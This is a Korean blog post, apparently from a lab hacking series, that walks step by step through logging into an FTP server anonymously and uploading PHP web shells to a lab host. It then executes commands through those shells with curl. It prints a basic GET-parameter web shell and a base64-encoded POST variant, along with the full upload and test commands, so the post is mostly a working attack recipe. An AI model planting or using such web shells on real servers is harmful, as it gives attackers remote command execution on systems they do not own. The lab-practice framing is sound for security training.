
1. 익명 FTP 접속 및 공유 디렉터리 탐색
| 단계1. 익명 ftp로 연결 → ftp 192.168.100.20 단계2. 연결 확인 후 공유 디렉터리 탐색 → ls -l 단계3. 확인된 공유 디렉터리로 이동 → cd pub |

2. 기본 WebShell 업로드
| 단계1. php WebShell 파일 생성 → echo '<?php system($_GET["c"]; ?>' > /tmp/ws.php && 단계2. 생성한 WebShell 파일 FTP 서버에 업로드 → ftp> put /tmp/ws.php ws.php 단계3. WebShell 실행 후 id 명령어 실행 가능 여부 확인 → curl "http://192.168..100.20/pub/ws.php?c=id" |
(ftp 프롬프트를 이용해 WebShell을 생성하려 하였으나 Bash 명령어의 실행 불가 확인해 해당 단계로는 공격 불가 판단)

| 단계1. 웹 쉘 생성 단계2. Target FTP 접속 단계3. pub 디렉터리로 이동 단계4. 파일 업로드 단계5. 업로드 확인 단계6. FTP 종료 단계7. kali를 통해 웹에서 실행 가능 여부 확인 |
- 단계1. 웹 쉘 생성
$ sudo echo '<?php system($_GET["c"]); ?>' > /tmp/ws.php
$ ls -l /tmp/ws.php
$ cat /tmp/ws.php

- 단계2. Target FTP 접속
$ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])

- 단계3. pub 디렉터리로 이동
ftp> cd pub
ftp> pwd
ftp> ls -l

- 단계4. 파일 업로드
ftp> put /tmp/ws.php ws.php

- 단계5. 업로드 확인
ftp> ls -l

- 단계6. FTP 종료
ftp> bye

- 단계7. kali를 통해 웹에서 실행 가능 여부 확인
$ curl "http://192.168.100.20/var/www/html/pub/ws.php?c=id"
- 파일이 업로드 된 실제 경로를 넣었을 때, 404 상태 코드와 함께 웹쉘이 실행되지 않는 것을 확인 가능

$ curl "http://192.168.100.20/pub/ws.php?c=id"
- /var/www/html은 Apache의 웹루트로 해당 경로는 포함되지 않아야 실행 가능
- 명령어 확인 시 웹 쉘을 통한 id 확인 가능

3. 고급 WebShell 업로드
- 단계1. 웹 쉘 생성
$ cat > /tmp/adv_ws.php <<'PHP'
<?php if(isset($_POST['x'])) system(base64_decode($_POST['x'])); ?>
PHP

- 단계2. Target FTP 접속
$ ftp 192.168.100.20 (Name: anonymous, Password: [Enter])

- 단계3. pub 디렉터리로 이동
ftp> cd pub
ftp> pwd
ftp> ls -l

- 단계4. 파일 업로드
ftp> put /tmp/adv_ws.php adv_ws.php

- 단계5. 업로드 확인 및 FTP 종료
ftp> ls -l
ftp> bye

- 단계6. kali를 통해 웹에서 실행 가능 여부 확인
$ curl -X POST -d "x=$(echo id|base64 -w0)" http://192.168.100.20/pub/adv_ws.php
- 명령어 확인 시 웹 쉘을 통한 id 확인 가능

'Red, Blue, Target 환경을 통한 해킹 실습' 카테고리의 다른 글
| 공격 3 — SQL Injection (수동 + SQLmap) (0) | 2026.07.07 |
|---|---|
| 공격 1 — vsftpd 백도어 (CVE-2011-2523) (0) | 2026.07.06 |
| 정찰 단계 3 — SMB·SNMP·DNS 열거 (0) | 2026.07.03 |
| 정찰 단계 2 — 웹 애플리케이션 정보 수집 및 취약점 탐색 (0) | 2026.07.03 |
| 정찰 단계 1 — Nmap 고급 스캔 기법 (0) | 2026.07.02 |